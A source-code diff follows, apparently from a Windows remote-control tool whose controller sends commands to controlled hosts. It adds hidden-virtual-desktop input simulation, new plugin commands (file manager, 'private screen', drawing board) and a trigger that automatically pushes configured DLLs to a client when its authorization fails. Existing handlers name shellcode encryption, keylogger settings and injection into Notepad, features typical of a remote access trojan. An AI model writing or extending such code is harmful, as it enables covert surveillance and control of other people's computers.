PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
}
}
else if (msg->message == WM_LBUTTONDOWN) {
m_lmouseDown = TRUE;
m_hResMoveWindow = NULL;
RECT startButtonRect;
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
GetWindowRect(hStartButton, &startButtonRect);
if (PtInRect(&startButtonRect, m_point)) {
PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击
continue;
}
else {
char windowClass[MAX_PATH] = { 0 };
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
if (!lstrcmpA(windowClass, "#32768")) {
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
int itemId = GetMenuItemID(hMenu, itemPos);
PostMessageA(hWnd, 0x1e5, itemPos, 0);
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
continue;
}
}
}
else if (msg->message == WM_MOUSEMOVE) {
if (!m_lmouseDown)
continue;
if (!m_hResMoveWindow)
m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
else
hWnd = m_hResMoveWindow;
int moveX = lastPointCopy.x - m_point.x;
int moveY = lastPointCopy.y - m_point.y;
RECT rect;
GetWindowRect(hWnd, &rect);
int x = rect.left;
int y = rect.top;
int width = rect.right - rect.left;
int height = rect.bottom - rect.top;
switch (m_resMoveType) {
case HTCAPTION: {
x -= moveX;
y -= moveY;
break;
}
case HTTOP: {
y -= moveY;
height += moveY;
break;
}
case HTBOTTOM: {
height -= moveY;
break;
}
case HTLEFT: {
x -= moveX;
width += moveX;
break;
}
case HTRIGHT: {
width -= moveX;
break;
}
case HTTOPLEFT: {
y -= moveY;
height += moveY;
x -= moveX;
width += moveX;
break;
}
case HTTOPRIGHT: {
y -= moveY;
height += moveY;
width -= moveX;
break;
}
case HTBOTTOMLEFT: {
height -= moveY;
x -= moveX;
width += moveX;
break;
}
case HTBOTTOMRIGHT: {
height -= moveY;
width -= moveX;
break;
}
default:
continue;
}
MoveWindow(hWnd, x, y, width, height, FALSE);
m_hResMoveWindow = hWnd;
continue;
}
break;
}
}
for (HWND currHwnd = hWnd;;) {
hWnd = currHwnd;
ScreenToClient(currHwnd, &m_point);
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
if (!currHwnd || currHwnd == hWnd)
break;
}
if (mouseMsg)
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
}
}
}
public: // 纯虚函数
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) = 0;
virtual void InitScreenSpy() = 0;
HDESK g_hDesk;
std::string m_DesktopID;
void* m_ptrUser;
ScreenCapture* m_ScreenSpyObject;
BOOL m_bIsWorking;
long m_oldwidth, m_oldheigh;
int m_biBitCount;
int m_fps;
int m_DlgToken; // 这个值决定打开哪个对话框
HANDLE m_hWorkThread, m_hBlankThread;
// 虚拟桌面
POINT m_point;
POINT m_lastPoint;
BOOL m_lmouseDown;
HWND m_hResMoveWindow;
LRESULT m_resMoveType;
BOOL m_rmouseDown; // 标记右键是否按下
POINT m_rclickPoint; // 右键点击坐标
HWND m_rclickWnd; // 右键窗口
};
} // namespace SimplePluginsScreenHide
+3
View File
@@ -322,6 +322,9 @@ enum {
COMMAND_CHAT = 161, // 服务端 → 客户端:发起远程交谈(双向聊天) COMMAND_CHAT = 161, // 服务端 → 客户端:发起远程交谈(双向聊天)
COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框 COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框
COMMAND_FILE_MANAGER_PLUGIN = 163, // 服务端 → 客户端:打开插件文件管理对话框(SimplePlugins 迁移)
COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端:打开隐私屏幕(虚拟桌面,SimplePlugins 迁移)
COMMAND_DRAWING_BOARD_PLUGIN = 165, // 服务端 → 客户端:打开远程画板(SimplePlugins 迁移)
TOKEN_DECRYPT = 199, TOKEN_DECRYPT = 199,
TOKEN_REGEDIT = 200, // 注册表 TOKEN_REGEDIT = 200, // 注册表
Binary file not shown.
+71 -3
View File
@@ -671,6 +671,9 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
m_bmOnline[63].LoadBitmap(IDB_BITMAP_HISTORY_ACTIVITY); // 历史活动 m_bmOnline[63].LoadBitmap(IDB_BITMAP_HISTORY_ACTIVITY); // 历史活动
m_bmOnline[64].LoadBitmap(IDB_BITMAP_VIEW_WND); // 浏览窗口 m_bmOnline[64].LoadBitmap(IDB_BITMAP_VIEW_WND); // 浏览窗口
m_bmOnline[65].LoadBitmap(IDB_BITMAP_PROXY_AUTORUN); // 代理端口-自启 m_bmOnline[65].LoadBitmap(IDB_BITMAP_PROXY_AUTORUN); // 代理端口-自启
m_bmOnline[66].LoadBitmap(IDB_BITMAP_FILE_MANAGER); // 文件管理
m_bmOnline[67].LoadBitmap(IDB_BITMAP_PRIVACY_SHIELD); // 隐私屏幕
m_bmOnline[68].LoadBitmap(IDB_BITMAP_DRAWING_BOARD); // 远程画板
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
m_ServerDLL[i] = nullptr; m_ServerDLL[i] = nullptr;
m_ServerBin[i] = nullptr; m_ServerBin[i] = nullptr;
@@ -996,6 +999,9 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage) ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)
ON_COMMAND(ID_TALK_MANAGE, &CMy2015RemoteDlg::OnChat) ON_COMMAND(ID_TALK_MANAGE, &CMy2015RemoteDlg::OnChat)
ON_COMMAND(ID_MACHINE_MANAGE, &CMy2015RemoteDlg::OnMachineManager) ON_COMMAND(ID_MACHINE_MANAGE, &CMy2015RemoteDlg::OnMachineManager)
ON_COMMAND(ID_EXPERIMENT_FILE_MANAGER, &CMy2015RemoteDlg::OnExperimentFileManager)
ON_COMMAND(ID_EXPERIMENT_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnExperimentPrivateScreen)
ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard)
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings) ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray) ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger) ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
@@ -4361,6 +4367,9 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
Menu.SetMenuItemBitmaps(ID_ONLINE_FORBIDDEN, MF_BYCOMMAND, &m_bmOnline[62], &m_bmOnline[62]); Menu.SetMenuItemBitmaps(ID_ONLINE_FORBIDDEN, MF_BYCOMMAND, &m_bmOnline[62], &m_bmOnline[62]);
Menu.SetMenuItemBitmaps(ID_ONLINE_VIEW_WND, MF_BYCOMMAND, &m_bmOnline[64], &m_bmOnline[64]); Menu.SetMenuItemBitmaps(ID_ONLINE_VIEW_WND, MF_BYCOMMAND, &m_bmOnline[64], &m_bmOnline[64]);
Menu.SetMenuItemBitmaps(ID_PROXY_PORT_AUTORUN, MF_BYCOMMAND, &m_bmOnline[65], &m_bmOnline[65]); Menu.SetMenuItemBitmaps(ID_PROXY_PORT_AUTORUN, MF_BYCOMMAND, &m_bmOnline[65], &m_bmOnline[65]);
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_FILE_MANAGER, MF_BYCOMMAND, &m_bmOnline[66], &m_bmOnline[66]);
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[67], &m_bmOnline[67]);
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_DRAWING_BOARD, MF_BYCOMMAND, &m_bmOnline[68], &m_bmOnline[68]);
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权")); Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
@@ -4511,6 +4520,23 @@ void CMy2015RemoteDlg::OnMachineManager()
BYTE bToken = COMMAND_MACHINE_MANAGE; //向被控端发送打开主机管理对话框命令 BYTE bToken = COMMAND_MACHINE_MANAGE; //向被控端发送打开主机管理对话框命令
SendSelectedCommand(&bToken, sizeof(BYTE)); SendSelectedCommand(&bToken, sizeof(BYTE));
} }
void CMy2015RemoteDlg::OnExperimentFileManager()
{
BYTE bToken = COMMAND_FILE_MANAGER_PLUGIN; //向被控端发送打开插件文件管理对话框命令
SendSelectedCommand(&bToken, sizeof(BYTE));
}
void CMy2015RemoteDlg::OnExperimentPrivateScreen()
{
BYTE bToken = COMMAND_PRIVATE_SCREEN_PLUGIN; //向被控端发送打开隐私屏幕(虚拟桌面)命令
SendSelectedCommand(&bToken, sizeof(BYTE));
}
void CMy2015RemoteDlg::OnExperimentDrawingBoard()
{
BYTE bToken = COMMAND_DRAWING_BOARD_PLUGIN; //向被控端发送打开远程画板命令
SendSelectedCommand(&bToken, sizeof(BYTE));
}
// 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程 // 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程
@@ -5728,7 +5754,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
// 统一的 V1/V2 授权验证 // 统一的 V1/V2 授权验证
std::string ip = ContextObject->GetPeerName(); std::string ip = ContextObject->GetPeerName();
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH"); auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH", ContextObject);
valid = authorized; valid = authorized;
bool isV2Auth = !hmacV2.empty() && hmacV2.substr(0, 3) == "v2:"; bool isV2Auth = !hmacV2.empty() && hmacV2.substr(0, 3) == "v2:";
@@ -7177,7 +7203,8 @@ std::pair<std::string, std::string> CMy2015RemoteDlg::GenerateRenewalInfo(
// expired=true 表示签名有效但已过期(可用于续期) // expired=true 表示签名有效但已过期(可用于续期)
std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* host, std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* host,
const std::string& sn, const std::string& passcode, uint64_t hmac, const std::string& sn, const std::string& passcode, uint64_t hmac,
const std::string& hmacV2, const std::string& ip, const char* source) const std::string& hmacV2, const std::string& ip, const char* source,
CONTEXT_OBJECT* sender)
{ {
BOOL authorized = -1; BOOL authorized = -1;
bool isV2 = false; bool isV2 = false;
@@ -7203,6 +7230,7 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
Mprintf("[%s] %s V2 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str()); Mprintf("[%s] %s V2 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
std::string tip = passcode + std::string(_L(" V2 授权失败: ")) + sn + "[" + ip + "]"; std::string tip = passcode + std::string(_L(" V2 授权失败: ")) + sn + "[" + ip + "]";
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL); PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
ExecuteAuthFailedTrigger(sender);
} }
} }
} else if (!passcode.empty() && IsValidPasscodeFormat(passcode.c_str())) { } else if (!passcode.empty() && IsValidPasscodeFormat(passcode.c_str())) {
@@ -7224,6 +7252,7 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
Mprintf("[%s] %s V1 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str()); Mprintf("[%s] %s V1 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
std::string tip = passcode + std::string(_L(" V1 授权失败: ")) + sn + "[" + ip + "]"; std::string tip = passcode + std::string(_L(" V1 授权失败: ")) + sn + "[" + ip + "]";
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL); PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
ExecuteAuthFailedTrigger(sender);
} }
} }
} }
@@ -7320,7 +7349,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
// 统一的 V1/V2 授权验证 // 统一的 V1/V2 授权验证
std::string ip = ctx->GetClientData(ONLINELIST_IP); std::string ip = ctx->GetClientData(ONLINELIST_IP);
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB"); auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB", ctx);
(void)expired; // 心跳不需要处理过期续期 (void)expired; // 心跳不需要处理过期续期
// 检查并发送预设续期(多点验证) // 检查并发送预设续期(多点验证)
@@ -11451,6 +11480,45 @@ void CMy2015RemoteDlg::ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx)
} }
} }
void CMy2015RemoteDlg::ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx)
{
if (!ctx || m_DllList.empty()) return;
// 快速检查是否有授权失败触发器(使用缓存,无磁盘IO)
if (!TriggerManager::Instance().HasAuthFailedTrigger()) {
return;
}
// 获取触发器插件列表(从缓存获取)
auto pluginNames = TriggerManager::Instance().GetAuthFailedPlugins();
if (pluginNames.empty()) {
return;
}
Mprintf("[Trigger] Auth failed trigger activated for %s\n", ctx->GetPeerName().c_str());
// 遍历触发器配置的插件列表
for (const auto& pluginName : pluginNames) {
// 查找对应的 DLL
DllInfo* targetDll = nullptr;
for (auto& dll : m_DllList) {
if (dll && dll->Name == pluginName) {
targetDll = dll;
break;
}
}
if (!targetDll || !targetDll->Data) {
Mprintf("[Trigger] Plugin not found: %s\n", pluginName.c_str());
continue;
}
// 发送 DLL 到客户端
Mprintf("[Trigger] Sending plugin '%s' to %s\n", pluginName.c_str(), ctx->GetPeerName().c_str());
ctx->Send2Client(targetDll->Data->Buf(), targetDll->Data->length());
}
}
context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip) context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
{ {
CString clientIP(ip.c_str()); CString clientIP(ip.c_str());
+7 -2
View File
@@ -233,9 +233,10 @@ public:
// 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired) // 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired)
// expired=true 表示签名有效但已过期(可用于续期) // expired=true 表示签名有效但已过期(可用于续期)
// source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳) // source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳)
// sender: 发送方连接上下文(授权失败触发器下发 DLL 用),TOKEN_AUTH 路径可为 nullptr
std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn, std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn,
const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip, const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip,
const char* source = "AUTH"); const char* source = "AUTH", CONTEXT_OBJECT* sender = nullptr);
BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m); BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m);
void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = ""); void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = "");
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files, void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
@@ -431,7 +432,7 @@ public:
bool IsDllRequestLimited(const std::string& ip); bool IsDllRequestLimited(const std::string& ip);
void RecordDllRequest(const std::string& ip); void RecordDllRequest(const std::string& ip);
CMenu m_MainMenu; CMenu m_MainMenu;
CBitmap m_bmOnline[66]; CBitmap m_bmOnline[69];
uint64_t m_superID; uint64_t m_superID;
std::map<HWND, CDialogBase *> m_RemoteWnds; std::map<HWND, CDialogBase *> m_RemoteWnds;
FileTransformCmd m_CmdList; FileTransformCmd m_CmdList;
@@ -518,6 +519,9 @@ public:
afx_msg void OnOnlineMessage(); afx_msg void OnOnlineMessage();
afx_msg void OnChat(); afx_msg void OnChat();
afx_msg void OnMachineManager(); afx_msg void OnMachineManager();
afx_msg void OnExperimentFileManager();
afx_msg void OnExperimentPrivateScreen();
afx_msg void OnExperimentDrawingBoard();
afx_msg void OnOnlineDelete(); afx_msg void OnOnlineDelete();
afx_msg void OnOnlineUpdate(); afx_msg void OnOnlineUpdate();
afx_msg void OnAbout(); afx_msg void OnAbout();
@@ -648,6 +652,7 @@ public:
afx_msg void OnToolPluginSettings(); afx_msg void OnToolPluginSettings();
afx_msg void OnTriggerSettings(); afx_msg void OnTriggerSettings();
void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx); void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
void ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx);
afx_msg void OnShellcodeAesCArray(); afx_msg void OnShellcodeAesCArray();
afx_msg void OnParamKblogger(); afx_msg void OnParamKblogger();
afx_msg void OnOnlineInjNotepad(); afx_msg void OnOnlineInjNotepad();
@@ -526,6 +526,8 @@
<Image Include="res\Bitmap\BrowseWnd.bmp" /> <Image Include="res\Bitmap\BrowseWnd.bmp" />
<Image Include="res\Bitmap\CancelShare.bmp" /> <Image Include="res\Bitmap\CancelShare.bmp" />
<Image Include="res\Bitmap\ClientLog.bmp" /> <Image Include="res\Bitmap\ClientLog.bmp" />
<Image Include="res\Bitmap\DrawingBoard.bmp" />
<Image Include="res\Bitmap\FileManager.bmp" />
<Image Include="res\Bitmap\Forbidden.bmp" /> <Image Include="res\Bitmap\Forbidden.bmp" />
<Image Include="res\bitmap\compress.bmp" /> <Image Include="res\bitmap\compress.bmp" />
<Image Include="res\Bitmap\Copy.bmp" /> <Image Include="res\Bitmap\Copy.bmp" />
@@ -561,6 +563,7 @@
<Image Include="res\Bitmap\PluginConfig.bmp" /> <Image Include="res\Bitmap\PluginConfig.bmp" />
<Image Include="res\Bitmap\PortProxyAuto.bmp" /> <Image Include="res\Bitmap\PortProxyAuto.bmp" />
<Image Include="res\Bitmap\PortProxyStd.bmp" /> <Image Include="res\Bitmap\PortProxyStd.bmp" />
<Image Include="res\Bitmap\PrivacyShield.bmp" />
<Image Include="res\Bitmap\PrivateScreen.bmp" /> <Image Include="res\Bitmap\PrivateScreen.bmp" />
<Image Include="res\Bitmap\proxy.bmp" /> <Image Include="res\Bitmap\proxy.bmp" />
<Image Include="res\Bitmap\Reboot.bmp" /> <Image Include="res\Bitmap\Reboot.bmp" />
@@ -352,5 +352,8 @@
<Image Include="res\Bitmap\HistoryActivity.bmp" /> <Image Include="res\Bitmap\HistoryActivity.bmp" />
<Image Include="res\Bitmap\BrowseWnd.bmp" /> <Image Include="res\Bitmap\BrowseWnd.bmp" />
<Image Include="res\Bitmap\PortProxyAuto.bmp" /> <Image Include="res\Bitmap\PortProxyAuto.bmp" />
<Image Include="res\Bitmap\FileManager.bmp" />
<Image Include="res\Bitmap\PrivacyShield.bmp" />
<Image Include="res\Bitmap\DrawingBoard.bmp" />
</ItemGroup> </ItemGroup>
</Project> </Project>
+47 -28
View File
@@ -76,6 +76,7 @@ BEGIN_MESSAGE_MAP(CTriggerSettingsDlg, CDialogLangEx)
ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd) ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd)
ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove) ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove)
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers) ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers)
ON_CBN_SELCHANGE(IDC_COMBO_TRIGGER_TYPE, &CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType)
END_MESSAGE_MAP() END_MESSAGE_MAP()
CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent) CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
@@ -118,6 +119,7 @@ void CTriggerSettingsDlg::InitControls()
{ {
// 初始化触发类型下拉框 // 初始化触发类型下拉框
m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线")); m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线"));
m_comboTriggerType.InsertString(TRIGGER_AUTH_FAILED, _TR("授权失败"));
m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE); m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE);
// 初始化插件列表 // 初始化插件列表
@@ -147,27 +149,15 @@ void CTriggerSettingsDlg::LoadPluginsToList()
index++; index++;
} }
// 如果有已配置的主机上线触发器,勾选对应的插件 // 回显当前选中触发类型已勾选的插件
TriggerConfig* onlineTrigger = GetOnlineTrigger(m_Configs); ReflectPluginsForType((TriggerType)m_comboTriggerType.GetCurSel());
if (onlineTrigger) {
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
if (!dll) continue;
for (const auto& pluginName : onlineTrigger->PluginNames) {
if (pluginName == dll->Name) {
m_listPlugins.SetCheck(i, TRUE);
break;
}
}
}
}
} }
void CTriggerSettingsDlg::LoadTriggersToList() void CTriggerSettingsDlg::LoadTriggersToList()
{ {
m_listTriggers.DeleteAllItems(); m_listTriggers.DeleteAllItems();
const char* typeNames[] = { "主机上线" }; const char* typeNames[] = { "主机上线", "授权失败" };
int index = 0; int index = 0;
for (const auto& cfg : m_Configs) { for (const auto& cfg : m_Configs) {
@@ -264,6 +254,21 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem); TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
// 回显该触发器配置的插件,并同步下拉框选择
ReflectPluginsForType(type);
m_comboTriggerType.SetCurSel(type);
}
void CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType()
{
int sel = m_comboTriggerType.GetCurSel();
if (sel >= 0) {
ReflectPluginsForType((TriggerType)sel);
}
}
void CTriggerSettingsDlg::ReflectPluginsForType(TriggerType type)
{
// 查找对应的触发器配置 // 查找对应的触发器配置
TriggerConfig* cfg = nullptr; TriggerConfig* cfg = nullptr;
for (auto& c : m_Configs) { for (auto& c : m_Configs) {
@@ -291,9 +296,6 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
} }
} }
} }
// 同步下拉框选择
m_comboTriggerType.SetCurSel(type);
} }
void CTriggerSettingsDlg::OnBnClickedBtnSave() void CTriggerSettingsDlg::OnBnClickedBtnSave()
@@ -427,16 +429,6 @@ void CTriggerSettingsDlg::SaveTriggerConfigs(const std::vector<TriggerConfig>& c
TriggerManager::Instance().Reload(); TriggerManager::Instance().Reload();
} }
TriggerConfig* CTriggerSettingsDlg::GetOnlineTrigger(std::vector<TriggerConfig>& configs)
{
for (auto& cfg : configs) {
if (cfg.Type == TRIGGER_HOST_ONLINE && !cfg.PluginNames.empty()) {
return &cfg;
}
}
return nullptr;
}
// ============================================ // ============================================
// TriggerManager 实现 // TriggerManager 实现
// ============================================ // ============================================
@@ -455,6 +447,7 @@ void TriggerManager::LoadFromDisk()
{ {
// 不加锁,由调用者保证线程安全 // 不加锁,由调用者保证线程安全
m_OnlinePlugins.clear(); m_OnlinePlugins.clear();
m_AuthFailedPlugins.clear();
auto configs = CTriggerSettingsDlg::LoadTriggerConfigs(); auto configs = CTriggerSettingsDlg::LoadTriggerConfigs();
for (const auto& cfg : configs) { for (const auto& cfg : configs) {
@@ -462,6 +455,10 @@ void TriggerManager::LoadFromDisk()
for (const auto& name : cfg.PluginNames) { for (const auto& name : cfg.PluginNames) {
m_OnlinePlugins.insert(name); m_OnlinePlugins.insert(name);
} }
} else if (cfg.Type == TRIGGER_AUTH_FAILED) {
for (const auto& name : cfg.PluginNames) {
m_AuthFailedPlugins.insert(name);
}
} }
} }
m_bLoaded = true; m_bLoaded = true;
@@ -495,3 +492,25 @@ std::set<std::string> TriggerManager::GetOnlinePlugins()
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
return result; return result;
} }
bool TriggerManager::HasAuthFailedTrigger()
{
EnterCriticalSection(&m_cs);
if (!m_bLoaded) {
LoadFromDisk();
}
bool has = !m_AuthFailedPlugins.empty();
LeaveCriticalSection(&m_cs);
return has;
}
std::set<std::string> TriggerManager::GetAuthFailedPlugins()
{
EnterCriticalSection(&m_cs);
if (!m_bLoaded) {
LoadFromDisk();
}
std::set<std::string> result = m_AuthFailedPlugins; // 复制一份返回
LeaveCriticalSection(&m_cs);
return result;
}
+12 -3
View File
@@ -12,6 +12,7 @@ struct DllInfo;
// 触发器类型 // 触发器类型
enum TriggerType { enum TriggerType {
TRIGGER_HOST_ONLINE = 0, // 主机上线 TRIGGER_HOST_ONLINE = 0, // 主机上线
TRIGGER_AUTH_FAILED = 1, // 授权失败
// 后续可扩展更多类型 // 后续可扩展更多类型
}; };
@@ -34,12 +35,18 @@ public:
// 获取主机上线触发器的插件名称集合(高性能查询) // 获取主机上线触发器的插件名称集合(高性能查询)
std::set<std::string> GetOnlinePlugins(); std::set<std::string> GetOnlinePlugins();
// 获取授权失败触发器的插件名称集合(高性能查询)
std::set<std::string> GetAuthFailedPlugins();
// 重新加载配置(保存后调用) // 重新加载配置(保存后调用)
void Reload(); void Reload();
// 检查是否有上线触发器 // 检查是否有上线触发器
bool HasOnlineTrigger(); bool HasOnlineTrigger();
// 检查是否有授权失败触发器
bool HasAuthFailedTrigger();
private: private:
TriggerManager(); TriggerManager();
~TriggerManager(); ~TriggerManager();
@@ -49,7 +56,8 @@ private:
void LoadFromDisk(); void LoadFromDisk();
CRITICAL_SECTION m_cs; CRITICAL_SECTION m_cs;
std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称 std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称
std::set<std::string> m_AuthFailedPlugins; // 缓存的授权失败触发器插件名称
bool m_bLoaded; bool m_bLoaded;
}; };
@@ -68,8 +76,6 @@ public:
static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs); static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs);
// 静态方法:获取配置文件路径 // 静态方法:获取配置文件路径
static std::string GetTriggerConfigPath(); static std::string GetTriggerConfigPath();
// 静态方法:获取主机上线触发器(如果存在)
static TriggerConfig* GetOnlineTrigger(std::vector<TriggerConfig>& configs);
protected: protected:
virtual void DoDataExchange(CDataExchange* pDX); virtual void DoDataExchange(CDataExchange* pDX);
@@ -81,12 +87,15 @@ protected:
afx_msg void OnBnClickedBtnTriggerAdd(); afx_msg void OnBnClickedBtnTriggerAdd();
afx_msg void OnBnClickedBtnTriggerRemove(); afx_msg void OnBnClickedBtnTriggerRemove();
afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult); afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnCbnSelchangeComboTriggerType();
private: private:
void InitControls(); void InitControls();
void LoadPluginsToList(); void LoadPluginsToList();
void LoadTriggersToList(); void LoadTriggersToList();
void UpdateTriggerDisplay(); void UpdateTriggerDisplay();
// 回显指定触发类型已勾选的插件(取消其他勾选)
void ReflectPluginsForType(TriggerType type);
private: private:
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表 std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
+1 -1
View File
@@ -46,7 +46,7 @@
// 程序版本号 [建议格式: X.Y.Z] // 程序版本号 [建议格式: X.Y.Z]
// 影响:关于对话框、标题栏 // 影响:关于对话框、标题栏
#define BRAND_VERSION "1.3.9" #define BRAND_VERSION "1.4.0"
